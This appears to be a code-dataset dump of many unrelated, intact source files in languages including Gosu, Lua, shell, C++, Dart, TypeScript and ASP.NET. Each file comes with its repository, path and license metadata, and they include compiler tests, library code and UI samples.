reified function methodWTypeParamAndArgThatReturnsMethodParameterization<Q>( arg : Q ) : IType {
return Q
}
// Direct invocation
reified function directlyInvokesMethodWTypeParamThatReturnsEnhancementParameterization<Q>() : IType {
return methodWTypeParamThatReturnsEnhancementParameterization()
}
reified function directlyInvokesMethodWTypeParamExplicitlySetThatReturnsMethodParameterization<Q>() : IType {
return methodWTypeParamThatReturnsMethodParameterization<Q>()
}
reified function directlyInvokesMethodWTypeParamNotSetThatReturnsMethodParameterization<Q>() : IType {
return methodWTypeParamThatReturnsMethodParameterization()
}
reified function directlyInvokesMethodWTypeParamAndArgThatReturnsEnhancementParameterization<Q>( arg : Q ) : IType {
return methodWTypeParamAndArgThatReturnsEnhancementParameterization( arg )
}
reified function directlyInvokesMethodWTypeParamAndArgThatReturnsMethodParameterization<Q>( arg : Q ) : IType {
return methodWTypeParamAndArgThatReturnsMethodParameterization( arg )
}
// Indirect invocation
reified function indirectlyInvokesMethodWTypeParamThatReturnsEnhancementParameterization<Q>() : IType {
return this.methodWTypeParamThatReturnsEnhancementParameterization()
}
reified function indirectlyInvokesMethodWTypeParamExplicitlySetThatReturnsMethodParameterization<Q>() : IType {
return this.methodWTypeParamThatReturnsMethodParameterization<Q>()
}
reified function indirectlyInvokesMethodWTypeParamNotSetThatReturnsMethodParameterization<Q>() : IType {
return this.methodWTypeParamThatReturnsMethodParameterization()
}
reified function indirectlyInvokesMethodWTypeParamAndArgThatReturnsEnhancementParameterization<Q>( arg : Q ) : IType {
return this.methodWTypeParamAndArgThatReturnsEnhancementParameterization( arg )
}
reified function indirectlyInvokesMethodWTypeParamAndArgThatReturnsMethodParameterization<Q>( arg : Q ) : IType {
return this.methodWTypeParamAndArgThatReturnsMethodParameterization( arg )
}
reified function returnsBlockToBlockToBlockToT() : block():block():block():Type {
return \->\->\->T
}
reified function returnsBlockToBlockToBlockToQ<Q>() : block():block():block():Type {
return \->\->\->Q
}
reified function returnsBlockToBlockToQ<Q>() : block():block():Type {
return \->\->Q
}
reified function returnsBlockToBlockToT() : block():block():Type {
return \->\->T
}
reified function returnsBlockToQ<Q>() : block():Type {
return \->Q
}
reified function returnsBlockToT() : block():Type {
return \->T
}
reified function callsGenericMethodReturnsQIndirectlyWithT<Q>() : Type {
return this.basicGenericMethodReturnsQ<T>()
}
reified function callsGenericMethodReturnsQIndirectlyWithQ<Q>() : Type {
return this.basicGenericMethodReturnsQ<Q>()
}
reified function callsGenericMethodReturnsQDirectlyWithT<Q>() : Type {
return basicGenericMethodReturnsQ<T>()
}
reified function callsGenericMethodReturnsQDirectlyWithQ<Q>() : Type {
return basicGenericMethodReturnsQ<Q>()
}
reified function callsGenericMethodReturnsTDirectly() : Type {
return T
}
reified function basicGenericMethodReturnsQ<Q>() : Type {
return Q
}
reified function basicGenericMethodReturnsT() : Type {
return T
}
} | Gosu | 4 | dmcreyno/gosu-lang | gosu-test/src/test/gosu/gw/internal/gosu/compiler/sample/enhancements/GenericEnhancement.gsx | [
"Apache-2.0"
] |
local helpers = require('test.functional.helpers')(after_each)
local eq = helpers.eq
local ok = helpers.ok
local call = helpers.call
local clear = helpers.clear
local iswin = helpers.iswin
describe('hostname()', function()
before_each(clear)
it('returns hostname string', function()
local actual = call('hostname')
ok(string.len(actual) > 0)
if call('executable', 'hostname') == 1 then
local expected = string.gsub(call('system', 'hostname'), '[\n\r]', '')
eq((iswin() and expected:upper() or expected),
(iswin() and actual:upper() or actual))
end
end)
end)
| Lua | 4 | uga-rosa/neovim | test/functional/vimscript/hostname_spec.lua | [
"Vim"
] |
. "$(dirname "$0")/functions.sh"
setup
install
# Test custom dir support
mkdir sub
npx --no-install husky install sub/husky
npx --no-install husky add sub/husky/pre-commit "echo \"pre-commit\" && exit 1"
# Test core.hooksPath
expect_hooksPath_to_be "sub/husky"
# Test pre-commit
git add package.json
expect 1 "git commit -m foo"
| Shell | 3 | david-tomson/husky | test/2_in-sub-dir.sh | [
"MIT"
] |
#! /bin/sh /usr/share/dpatch/dpatch-run
## 50_validate-desktop-entry.dpatch by Ming Hua <minghua-guest@users.alioth.debian.org>
##
## All lines beginning with `## DP:' are a description of the patch.
##
## DP: Update to conform Desktop Entry Specification version 1.0. The "Icon"
## DP: key uses a hardcoded path because scim-setup.desktop is generated
## DP: without any variable substitution. Maybe it can use a name without
## DP: path or extension instead, needs more investigation.
@DPATCH@
diff -urNad scim-1.4.7~/extras/setup/scim-setup.desktop.in scim-1.4.7/extras/setup/scim-setup.desktop.in
--- scim-1.4.7~/extras/setup/scim-setup.desktop.in 2007-06-26 09:31:50.000000000 -0500
+++ scim-1.4.7/extras/setup/scim-setup.desktop.in 2008-01-28 09:33:48.000000000 -0600
@@ -1,10 +1,9 @@
[Desktop Entry]
-Encoding=UTF-8
_Name=SCIM Input Method Setup
_Comment=Setup utility for Smart Common Input Method platform
Exec=scim-setup
-Icon=scim-setup.png
+Icon=scim-setup
Terminal=false
Type=Application
StartupNotify=true
-Categories=Applications;Settings;
+Categories=Settings;
+NotShowIn=KDE;
+X-Ubuntu-Gettext-Domain=scim
| Darcs Patch | 4 | JrCs/opendreambox | recipes/scim/files/50_validate-desktop-entry.dpatch | [
"MIT"
] |
s1 :: SchedOrderTest(1, SIZE 100, STOP true);
s2 :: SchedOrderTest(2, SIZE 100, LIMIT 10);
s3 :: SchedOrderTest(3, SIZE 100);
ScheduleInfo(s1 1, s2 2, s3 3);
DriverManager(wait_stop, print s1.order, stop);
| Click | 3 | MacWR/Click-changed-for-ParaGraph | conf/schedorder1.click | [
"Apache-2.0"
] |
extends ScrollContainer
export(bool) var auto_scroll = false setget set_auto_scroll
func _process(_delta):
if auto_scroll:
var scrollbar = get_v_scrollbar()
scrollbar.value = scrollbar.max_value
func set_auto_scroll(value):
auto_scroll = value
| GDScript | 4 | jonbonazza/godot-demo-projects | 3d/physics_tests/utils/scroll_log.gd | [
"MIT"
] |
class(
x : 1
) { this }
func() {
empty'class
}
test()'class? {
if true {
empty'class
} else {
valid(class(2))
}
}
a : func()
b : ifValid a {
a.x
} elseEmpty {
0
}
c : test() | Objective-J | 1 | justinmann/sj | tests/option3.sj | [
"Apache-2.0"
] |
# Several ways to do it
"Hello world!";
Print("Hello world!\n"); # No EOL appended
Display("Hello world!");
f := OutputTextUser();
WriteLine(f, "Hello world!\n");
CloseStream(f);
| GAP | 3 | LaudateCorpus1/RosettaCodeData | Task/Hello-world-Text/GAP/hello-world-text.gap | [
"Info-ZIP"
] |
{
"category" : "Topez-Server-Core",
"classinstvars" : [
],
"classvars" : [
],
"commentStamp" : "",
"instvars" : [
"workingCopy",
"repository",
"versionInfos",
"versionInfoBlock",
"selectedVersionInfo",
"versionInfoSummaryWindowId" ],
"name" : "TDVersionInfoBrowser",
"pools" : [
],
"super" : "TDAbstractMonticelloToolBuilder",
"type" : "normal" }
| STON | 1 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/STON/properties.ston | [
"MIT"
] |
parameters {
real x;
}
model {
target += -0.5 * square(x);
}
| Stan | 3 | sthagen/stan-dev-stan | src/test/test-models/good/model/valid.stan | [
"CC-BY-3.0",
"BSD-3-Clause"
] |
pub struct SendPacket<T> {
p: T
}
mod pingpong {
use SendPacket;
pub type Ping = SendPacket<Pong>;
pub struct Pong(SendPacket<Ping>);
//~^ ERROR recursive type `Pong` has infinite size
}
fn main() {}
| Rust | 3 | Eric-Arellano/rust | src/test/ui/issues/issue-2718-a.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
body {
background: url("#foobar");
background: url("http:foobar");
background: url("https:foobar");
background: url("data:foobar");
background: url("chrome:foobar");
background: url("//foobar");
}
| CSS | 2 | jpmallarino/django | tests/staticfiles_tests/project/documents/cached/css/ignored.css | [
"BSD-3-Clause",
"0BSD"
] |
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Hello.aspx.cs" Inherits="aspnet._Hello" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<!-- --------------------------------------------------------------------------------------------
Use mxGraph with the above or no DOCTYPE.
-------------------------------------------------------------------------------------------- -->
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Hello, World!</title>
<!-- --------------------------------------------------------------------------------------------
Any static HTML page in /javascript/examples can be turned into an ASP.NET page in a few
simple steps as shown below. When using mxGraph in ASP.NET one must keep in mind that it
consists of a client-side part (JavaScript), which runs in the browser, and a server-side
part, in C#, which runs in the server (IIS). The server-side code can be used to create,
read, write, and layout graphs. The client is used to modify graphs interactively, but it
doesn't require a server while the graph is being modifed. It only exchanges data with the
server at load- and save-time and to create images. All data is exchanged in XML.
Hence there are three different approaches for turning a static HTML page with mxGraph into
an ASP.NET page, one of which is keeping the static page and handling all XHR requests in
separate ASP.NET handlers. The second approach is to create a so-called AJAX Client Control,
which in our case is a simple wrapper that creates the mxGraph instance and adds methods.
This solution allows for easier integration into an ASP.NET page or Web User Control. The
third approach is creating a ASP.NET Ajax Server control. This uses the same client-side
but adds the code for creating the control instance on the client, and some server-side code
for emitting the required HTML tags for the control. Since mxGraph is almost only a client-
side functionality this last approach is typically application-specific and not used here.
-------------------------------------------------------------------------------------------- -->
</head>
<body>
<form id="form1" runat="server">
<!-- --------------------------------------------------------------------------------------------
Loads the mx client library. You can move this into the page or keep it in the HEAD. If the
client is required multiple times in the page then it should only be loaded once. The global
mxBasePath variable is required for loading the language files and images in the client. You
should create a virtual directory pointing to mxgraph/javascript on your server and update
the base path and URL of mxClient.js accordingly. Note that you should always load the page
and the client from the same server to avoid cross-domain restrictions when loading files.
In this example, the virtual directory is expected to point to the top-leve directory.
-------------------------------------------------------------------------------------------- -->
<script type="text/javascript">
mxBasePath = '/mxgraph/javascript/src';
</script>
<script type="text/javascript" src="/mxgraph/javascript/src/js/mxClient.js"></script>
<!-- --------------------------------------------------------------------------------------------
Uses script manager to load the AJAX Client Control. This is the standard way of loading an
an external script file and the script defines a leightweight ASP.NET wrapper for mxGraph
that adds methods for reading and writing graphs in XML.
-------------------------------------------------------------------------------------------- -->
<asp:ScriptManager ID="ScriptManager1" runat="server">
<scripts>
<asp:ScriptReference Path="GraphControl.js" />
</scripts>
</asp:ScriptManager>
<!-- --------------------------------------------------------------------------------------------
The following static markup is used (via the ID) as the container of the graph. This doesn't
need to be changed to work with ASP.NET. The button is used to implement the save function,
which posts the current graph as XML to an ASP.NET handler. Note that the button and the
graph are wired up later, after the graph instance was created, using the unique ID of the
button to add its click handler which takes care of the encoding and posting.
-------------------------------------------------------------------------------------------- -->
<div id="graphContainer"
style="overflow:hidden;width:322px; height:289px; background:url('/mxgraph/javascript/examples/editors/images/grid.gif')">
</div>
<button type="button" id="saveButton">Save</button>
<!-- --------------------------------------------------------------------------------------------
The following is the standard way of creating an AJAX Client Control instance. The main from
the static page corresponds to this function. Its invocation was moved from the pages onload
event to the applications init event, which fires after all scripts have been loaded.
Alternatively the load event can be used, which fires after all controls have been created.
-------------------------------------------------------------------------------------------- -->
<script type="text/javascript">
var app = Sys.Application;
app.add_init(function(sender, args) {
// Program starts here. Gets the DOM elements for the respective IDs so things can be
// created and wired-up.
var graphContainer = $get('graphContainer');
var saveButton = $get('saveButton');
if (!mxClient.isBrowserSupported()) {
// Displays an error message if the browser is not supported.
mxUtils.error('Browser is not supported!', 200, false);
}
else {
// Creates an instance of the graph control, passing the graphContainer element to the
// mxGraph constructor. The $create function is part of ASP.NET. It can take an ID for
// creating objects so the new instances can later be found using the $find function.
var graphControl = $create(aspnet.GraphControl, null, null, null, graphContainer);
// Saves graph by posting the XML to the generic handler SaveHandler.ashx. This code
// only registers the event handler in the static button, which in turn invokes the
// method to post the XML on the client control, passing the URL and param name.
mxEvent.addListener(saveButton, 'click', function(evt) {
// Posts the XML representation for the graph model to the given URL under the
// given request parameter and prints the server response to the console.
var xml = encodeURIComponent(mxUtils.getXml(graphControl.encode()));
mxUtils.post('Save.ashx', 'xml=' + xml,
// Asynchronous callback for successfull requests. Depending on the application
// you may have to parse a custom response such as a new or modified graph.
function(req) {
mxLog.show();
mxLog.debug(req.getText());
}
);
});
// Reads the initial graph from a member variable in the page. The variable is an XML
// string which is replaced on the server-side using the expression below. The string
// is then parsed using mxUtils.parseXml on the client-side and the resulting DOM is
// passed to the decode method for reading the graph into the current graph model.
var doc = mxUtils.parseXml('<% = Xml %>');
graphControl.decode(doc.documentElement);
}
});
</script>
</form>
</body>
</html>
| ASP | 5 | Arkitektbedriftene/mxgraph | dotnet/aspnet/Hello.aspx | [
"Apache-2.0"
] |
package com.baeldung.constantpool;
public class ConstantPool {
public void sayHello() {
System.out.println("Hello World");
}
}
| Java | 2 | DBatOWL/tutorials | core-java-modules/core-java-jvm-2/src/main/java/com/baeldung/constantpool/ConstantPool.java | [
"MIT"
] |
// call signatures in derived types must have the same or fewer optional parameters as the base type
interface Base {
a: (...args: number[]) => number;
a2: (x: number, ...z: number[]) => number;
a3: (x: number, y?: string, ...z: number[]) => number;
a4: (x?: number, y?: string, ...z: number[]) => number;
}
interface I1 extends Base {
a: () => number; // ok, same number of required params
}
interface I1B extends Base {
a: (...args: number[]) => number; // ok, same number of required params
}
interface I1C extends Base {
a: (...args: string[]) => number; // error, type mismatch
}
interface I2 extends Base {
a: (x?: number) => number; // ok, same number of required params
}
interface I2B extends Base {
a: (x?: number, y?: number, z?: number) => number; // ok, same number of required params
}
interface I3 extends Base {
a: (x: number) => number; // ok, all present params match
}
interface I3B extends Base {
a: (x?: string) => number; // error, incompatible type
}
interface I4 extends Base {
a2: () => number; // ok, fewer required params
}
interface I4B extends Base {
a2: (...args: number[]) => number; // ok, fewer required params
}
interface I5 extends Base {
a2: (x?: number) => number; // ok, fewer required params
}
interface I6 extends Base {
a2: (x: number) => number; // ok, same number of required params
}
interface I6B extends Base {
a2: (x: number, ...args: number[]) => number; // ok, same number of required params
}
interface I6C extends Base {
a2: (x: number, ...args: string[]) => number; // error
}
interface I6D extends Base {
a2: (x: number, y: number) => number; // ok, all present params match
}
interface I6E extends Base {
a2: (x: number, y?: number) => number; // ok, same number of required params
}
interface I7 extends Base {
a3: () => number; // ok, fewer required params
}
interface I8 extends Base {
a3: (x?: number) => number; // ok, fewer required params
}
interface I9 extends Base {
a3: (x: number) => number; // ok, same number of required params
}
interface I10 extends Base {
a3: (x: number, y: string) => number; // ok, all present params match
}
interface I10B extends Base {
a3: (x: number, y?: number, z?: number) => number; // error
}
interface I10C extends Base {
a3: (x: number, ...z: number[]) => number; // error
}
interface I10D extends Base {
a3: (x: string, y?: string, z?: string) => number; // error, incompatible types
}
interface I10E extends Base {
a3: (x: number, ...z: string[]) => number; // error
}
interface I11 extends Base {
a4: () => number; // ok, fewer required params
}
interface I12 extends Base {
a4: (x?: number, y?: number) => number; // error, type mismatch
}
interface I13 extends Base {
a4: (x: number) => number; // ok, all present params match
}
interface I14 extends Base {
a4: (x: number, y?: number) => number; // error, second param has type mismatch
}
interface I15 extends Base {
a4: (x?: number, y?: string) => number; // ok, same number of required params with matching types
}
interface I16 extends Base {
a4: (x: number, ...args: string[]) => number; // error, rest param has type mismatch
}
interface I17 extends Base {
a4: (...args: number[]) => number; // error
}
| TypeScript | 5 | nilamjadhav/TypeScript | tests/cases/conformance/types/typeRelationships/subtypesAndSuperTypes/subtypingWithCallSignaturesWithRestParameters.ts | [
"Apache-2.0"
] |
import { AsyncLocalStorage } from "async_hooks"
export interface IEngineContext {
requestId: string
}
let asyncLocalStorage
function getAsyncLocalStorage(): AsyncLocalStorage<IEngineContext> {
return asyncLocalStorage ?? (asyncLocalStorage = new AsyncLocalStorage())
}
export function getEngineContext(): IEngineContext | undefined {
return getAsyncLocalStorage().getStore()
}
export function runWithEngineContext<T>(
context: IEngineContext,
fn: (...args: Array<any>) => T
): T {
// @ts-ignore typings are incorrect, run() returns the result of fn()
return getAsyncLocalStorage().run(context, fn)
}
| TypeScript | 4 | beingfranklin/gatsby | packages/gatsby/src/utils/engine-context.ts | [
"MIT"
] |
import Config
config :my_app, env: config_env(), target: config_target()
| Elixir | 3 | doughsay/elixir | lib/elixir/test/elixir/fixtures/configs/env.exs | [
"Apache-2.0"
] |
etf
load spy
ta
ema
exit | Gosu | 0 | minhhoang1023/GamestonkTerminal | scripts/test_etf_ta.gst | [
"MIT"
] |
(* ****** ****** *)
#include "share/atspre_staload.hats"
#include "share/atspre_staload_libats_ML.hats"
(* ****** ****** *)
implement
main0() = println! ("Hello, world!")
(* ****** ****** *)
(* end of [Hello.dats] *)
| ATS | 4 | ats-lang/ATS-CodeBook | RECIPE/Hello/Hello.dats | [
"MIT"
] |
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef BASE_NUMERICS_CLAMPED_MATH_IMPL_H_
#define BASE_NUMERICS_CLAMPED_MATH_IMPL_H_
#include <stddef.h>
#include <stdint.h>
#include <climits>
#include <cmath>
#include <cstdlib>
#include <limits>
#include <type_traits>
#include "base/numerics/checked_math.h"
#include "base/numerics/safe_conversions.h"
#include "base/numerics/safe_math_shared_impl.h"
namespace base {
namespace internal {
template <typename T,
typename std::enable_if<std::is_integral<T>::value &&
std::is_signed<T>::value>::type* = nullptr>
constexpr T SaturatedNegWrapper(T value) {
return MustTreatAsConstexpr(value) || !ClampedNegFastOp<T>::is_supported
? (NegateWrapper(value) != std::numeric_limits<T>::lowest()
? NegateWrapper(value)
: std::numeric_limits<T>::max())
: ClampedNegFastOp<T>::Do(value);
}
template <typename T,
typename std::enable_if<std::is_integral<T>::value &&
!std::is_signed<T>::value>::type* = nullptr>
constexpr T SaturatedNegWrapper(T value) {
return T(0);
}
template <
typename T,
typename std::enable_if<std::is_floating_point<T>::value>::type* = nullptr>
constexpr T SaturatedNegWrapper(T value) {
return -value;
}
template <typename T,
typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
constexpr T SaturatedAbsWrapper(T value) {
// The calculation below is a static identity for unsigned types, but for
// signed integer types it provides a non-branching, saturated absolute value.
// This works because SafeUnsignedAbs() returns an unsigned type, which can
// represent the absolute value of all negative numbers of an equal-width
// integer type. The call to IsValueNegative() then detects overflow in the
// special case of numeric_limits<T>::min(), by evaluating the bit pattern as
// a signed integer value. If it is the overflow case, we end up subtracting
// one from the unsigned result, thus saturating to numeric_limits<T>::max().
return static_cast<T>(SafeUnsignedAbs(value) -
IsValueNegative<T>(SafeUnsignedAbs(value)));
}
template <
typename T,
typename std::enable_if<std::is_floating_point<T>::value>::type* = nullptr>
constexpr T SaturatedAbsWrapper(T value) {
return value < 0 ? -value : value;
}
template <typename T, typename U, class Enable = void>
struct ClampedAddOp {};
template <typename T, typename U>
struct ClampedAddOp<T,
U,
typename std::enable_if<std::is_integral<T>::value &&
std::is_integral<U>::value>::type> {
using result_type = typename MaxExponentPromotion<T, U>::type;
template <typename V = result_type>
static constexpr V Do(T x, U y) {
if (ClampedAddFastOp<T, U>::is_supported)
return ClampedAddFastOp<T, U>::template Do<V>(x, y);
static_assert(std::is_same<V, result_type>::value ||
IsTypeInRangeForNumericType<U, V>::value,
"The saturation result cannot be determined from the "
"provided types.");
const V saturated = CommonMaxOrMin<V>(IsValueNegative(y));
V result = {};
return BASE_NUMERICS_LIKELY((CheckedAddOp<T, U>::Do(x, y, &result)))
? result
: saturated;
}
};
template <typename T, typename U, class Enable = void>
struct ClampedSubOp {};
template <typename T, typename U>
struct ClampedSubOp<T,
U,
typename std::enable_if<std::is_integral<T>::value &&
std::is_integral<U>::value>::type> {
using result_type = typename MaxExponentPromotion<T, U>::type;
template <typename V = result_type>
static constexpr V Do(T x, U y) {
// TODO(jschuh) Make this "constexpr if" once we're C++17.
if (ClampedSubFastOp<T, U>::is_supported)
return ClampedSubFastOp<T, U>::template Do<V>(x, y);
static_assert(std::is_same<V, result_type>::value ||
IsTypeInRangeForNumericType<U, V>::value,
"The saturation result cannot be determined from the "
"provided types.");
const V saturated = CommonMaxOrMin<V>(!IsValueNegative(y));
V result = {};
return BASE_NUMERICS_LIKELY((CheckedSubOp<T, U>::Do(x, y, &result)))
? result
: saturated;
}
};
template <typename T, typename U, class Enable = void>
struct ClampedMulOp {};
template <typename T, typename U>
struct ClampedMulOp<T,
U,
typename std::enable_if<std::is_integral<T>::value &&
std::is_integral<U>::value>::type> {
using result_type = typename MaxExponentPromotion<T, U>::type;
template <typename V = result_type>
static constexpr V Do(T x, U y) {
// TODO(jschuh) Make this "constexpr if" once we're C++17.
if (ClampedMulFastOp<T, U>::is_supported)
return ClampedMulFastOp<T, U>::template Do<V>(x, y);
V result = {};
const V saturated =
CommonMaxOrMin<V>(IsValueNegative(x) ^ IsValueNegative(y));
return BASE_NUMERICS_LIKELY((CheckedMulOp<T, U>::Do(x, y, &result)))
? result
: saturated;
}
};
template <typename T, typename U, class Enable = void>
struct ClampedDivOp {};
template <typename T, typename U>
struct ClampedDivOp<T,
U,
typename std::enable_if<std::is_integral<T>::value &&
std::is_integral<U>::value>::type> {
using result_type = typename MaxExponentPromotion<T, U>::type;
template <typename V = result_type>
static constexpr V Do(T x, U y) {
V result = {};
if (BASE_NUMERICS_LIKELY((CheckedDivOp<T, U>::Do(x, y, &result))))
return result;
// Saturation goes to max, min, or NaN (if x is zero).
return x ? CommonMaxOrMin<V>(IsValueNegative(x) ^ IsValueNegative(y))
: SaturationDefaultLimits<V>::NaN();
}
};
template <typename T, typename U, class Enable = void>
struct ClampedModOp {};
template <typename T, typename U>
struct ClampedModOp<T,
U,
typename std::enable_if<std::is_integral<T>::value &&
std::is_integral<U>::value>::type> {
using result_type = typename MaxExponentPromotion<T, U>::type;
template <typename V = result_type>
static constexpr V Do(T x, U y) {
V result = {};
return BASE_NUMERICS_LIKELY((CheckedModOp<T, U>::Do(x, y, &result)))
? result
: x;
}
};
template <typename T, typename U, class Enable = void>
struct ClampedLshOp {};
// Left shift. Non-zero values saturate in the direction of the sign. A zero
// shifted by any value always results in zero.
template <typename T, typename U>
struct ClampedLshOp<T,
U,
typename std::enable_if<std::is_integral<T>::value &&
std::is_integral<U>::value>::type> {
using result_type = T;
template <typename V = result_type>
static constexpr V Do(T x, U shift) {
static_assert(!std::is_signed<U>::value, "Shift value must be unsigned.");
if (BASE_NUMERICS_LIKELY(shift < std::numeric_limits<T>::digits)) {
// Shift as unsigned to avoid undefined behavior.
V result = static_cast<V>(as_unsigned(x) << shift);
// If the shift can be reversed, we know it was valid.
if (BASE_NUMERICS_LIKELY(result >> shift == x))
return result;
}
return x ? CommonMaxOrMin<V>(IsValueNegative(x)) : 0;
}
};
template <typename T, typename U, class Enable = void>
struct ClampedRshOp {};
// Right shift. Negative values saturate to -1. Positive or 0 saturates to 0.
template <typename T, typename U>
struct ClampedRshOp<T,
U,
typename std::enable_if<std::is_integral<T>::value &&
std::is_integral<U>::value>::type> {
using result_type = T;
template <typename V = result_type>
static constexpr V Do(T x, U shift) {
static_assert(!std::is_signed<U>::value, "Shift value must be unsigned.");
// Signed right shift is odd, because it saturates to -1 or 0.
const V saturated = as_unsigned(V(0)) - IsValueNegative(x);
return BASE_NUMERICS_LIKELY(shift < IntegerBitsPlusSign<T>::value)
? saturated_cast<V>(x >> shift)
: saturated;
}
};
template <typename T, typename U, class Enable = void>
struct ClampedAndOp {};
template <typename T, typename U>
struct ClampedAndOp<T,
U,
typename std::enable_if<std::is_integral<T>::value &&
std::is_integral<U>::value>::type> {
using result_type = typename std::make_unsigned<
typename MaxExponentPromotion<T, U>::type>::type;
template <typename V>
static constexpr V Do(T x, U y) {
return static_cast<result_type>(x) & static_cast<result_type>(y);
}
};
template <typename T, typename U, class Enable = void>
struct ClampedOrOp {};
// For simplicity we promote to unsigned integers.
template <typename T, typename U>
struct ClampedOrOp<T,
U,
typename std::enable_if<std::is_integral<T>::value &&
std::is_integral<U>::value>::type> {
using result_type = typename std::make_unsigned<
typename MaxExponentPromotion<T, U>::type>::type;
template <typename V>
static constexpr V Do(T x, U y) {
return static_cast<result_type>(x) | static_cast<result_type>(y);
}
};
template <typename T, typename U, class Enable = void>
struct ClampedXorOp {};
// For simplicity we support only unsigned integers.
template <typename T, typename U>
struct ClampedXorOp<T,
U,
typename std::enable_if<std::is_integral<T>::value &&
std::is_integral<U>::value>::type> {
using result_type = typename std::make_unsigned<
typename MaxExponentPromotion<T, U>::type>::type;
template <typename V>
static constexpr V Do(T x, U y) {
return static_cast<result_type>(x) ^ static_cast<result_type>(y);
}
};
template <typename T, typename U, class Enable = void>
struct ClampedMaxOp {};
template <typename T, typename U>
struct ClampedMaxOp<
T,
U,
typename std::enable_if<std::is_arithmetic<T>::value &&
std::is_arithmetic<U>::value>::type> {
using result_type = typename MaxExponentPromotion<T, U>::type;
template <typename V = result_type>
static constexpr V Do(T x, U y) {
return IsGreater<T, U>::Test(x, y) ? saturated_cast<V>(x)
: saturated_cast<V>(y);
}
};
template <typename T, typename U, class Enable = void>
struct ClampedMinOp {};
template <typename T, typename U>
struct ClampedMinOp<
T,
U,
typename std::enable_if<std::is_arithmetic<T>::value &&
std::is_arithmetic<U>::value>::type> {
using result_type = typename LowestValuePromotion<T, U>::type;
template <typename V = result_type>
static constexpr V Do(T x, U y) {
return IsLess<T, U>::Test(x, y) ? saturated_cast<V>(x)
: saturated_cast<V>(y);
}
};
// This is just boilerplate that wraps the standard floating point arithmetic.
// A macro isn't the nicest solution, but it beats rewriting these repeatedly.
#define BASE_FLOAT_ARITHMETIC_OPS(NAME, OP) \
template <typename T, typename U> \
struct Clamped##NAME##Op< \
T, U, \
typename std::enable_if<std::is_floating_point<T>::value || \
std::is_floating_point<U>::value>::type> { \
using result_type = typename MaxExponentPromotion<T, U>::type; \
template <typename V = result_type> \
static constexpr V Do(T x, U y) { \
return saturated_cast<V>(x OP y); \
} \
};
BASE_FLOAT_ARITHMETIC_OPS(Add, +)
BASE_FLOAT_ARITHMETIC_OPS(Sub, -)
BASE_FLOAT_ARITHMETIC_OPS(Mul, *)
BASE_FLOAT_ARITHMETIC_OPS(Div, /)
#undef BASE_FLOAT_ARITHMETIC_OPS
} // namespace internal
} // namespace base
#endif // BASE_NUMERICS_CLAMPED_MATH_IMPL_H_
| C | 5 | wanghuan578/chrome-gn | src/base/numerics/clamped_math_impl.h | [
"BSD-3-Clause"
] |
"""
float specialization of AdjustedArrayWindow
"""
from numpy cimport float64_t
ctypedef float64_t[:, :] databuffer
include "_windowtemplate.pxi"
| Cython | 2 | leonarduschen/zipline | zipline/lib/_float64window.pyx | [
"Apache-2.0"
] |
// Copyright 2014 The Flutter Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flutter code sample for AutofillGroup
import 'package:flutter/material.dart';
void main() => runApp(const MyApp());
class MyApp extends StatelessWidget {
const MyApp({Key? key}) : super(key: key);
static const String _title = 'Flutter Code Sample';
@override
Widget build(BuildContext context) {
return MaterialApp(
title: _title,
home: Scaffold(
appBar: AppBar(title: const Text(_title)),
body: const MyStatefulWidget(),
),
);
}
}
class MyStatefulWidget extends StatefulWidget {
const MyStatefulWidget({Key? key}) : super(key: key);
@override
State<MyStatefulWidget> createState() => _MyStatefulWidgetState();
}
class _MyStatefulWidgetState extends State<MyStatefulWidget> {
bool isSameAddress = true;
final TextEditingController shippingAddress1 = TextEditingController();
final TextEditingController shippingAddress2 = TextEditingController();
final TextEditingController billingAddress1 = TextEditingController();
final TextEditingController billingAddress2 = TextEditingController();
final TextEditingController creditCardNumber = TextEditingController();
final TextEditingController creditCardSecurityCode = TextEditingController();
final TextEditingController phoneNumber = TextEditingController();
@override
Widget build(BuildContext context) {
return ListView(
children: <Widget>[
const Text('Shipping address'),
// The address fields are grouped together as some platforms are
// capable of autofilling all of these fields in one go.
AutofillGroup(
child: Column(
children: <Widget>[
TextField(
controller: shippingAddress1,
autofillHints: const <String>[AutofillHints.streetAddressLine1],
),
TextField(
controller: shippingAddress2,
autofillHints: const <String>[AutofillHints.streetAddressLine2],
),
],
),
),
const Text('Billing address'),
Checkbox(
value: isSameAddress,
onChanged: (bool? newValue) {
if (newValue != null) {
setState(() {
isSameAddress = newValue;
});
}
},
),
// Again the address fields are grouped together for the same reason.
if (!isSameAddress)
AutofillGroup(
child: Column(
children: <Widget>[
TextField(
controller: billingAddress1,
autofillHints: const <String>[
AutofillHints.streetAddressLine1
],
),
TextField(
controller: billingAddress2,
autofillHints: const <String>[
AutofillHints.streetAddressLine2
],
),
],
),
),
const Text('Credit Card Information'),
// The credit card number and the security code are grouped together
// as some platforms are capable of autofilling both fields.
AutofillGroup(
child: Column(
children: <Widget>[
TextField(
controller: creditCardNumber,
autofillHints: const <String>[AutofillHints.creditCardNumber],
),
TextField(
controller: creditCardSecurityCode,
autofillHints: const <String>[
AutofillHints.creditCardSecurityCode
],
),
],
),
),
const Text('Contact Phone Number'),
// The phone number field can still be autofilled despite lacking an
// `AutofillScope`.
TextField(
controller: phoneNumber,
autofillHints: const <String>[AutofillHints.telephoneNumber],
),
],
);
}
}
| Dart | 5 | devansh12b2/flutter | examples/api/lib/widgets/autofill/autofill_group.0.dart | [
"BSD-3-Clause"
] |
<?xml version='1.0' encoding='UTF-8'?>
<Project Type="Project" LVVersion="18008000">
<Item Name="My Computer" Type="My Computer">
<Property Name="NI.SortType" Type="Int">3</Property>
<Property Name="server.app.propertiesEnabled" Type="Bool">true</Property>
<Property Name="server.control.propertiesEnabled" Type="Bool">true</Property>
<Property Name="server.tcp.enabled" Type="Bool">false</Property>
<Property Name="server.tcp.port" Type="Int">0</Property>
<Property Name="server.tcp.serviceName" Type="Str">My Computer/VI Server</Property>
<Property Name="server.tcp.serviceName.default" Type="Str">My Computer/VI Server</Property>
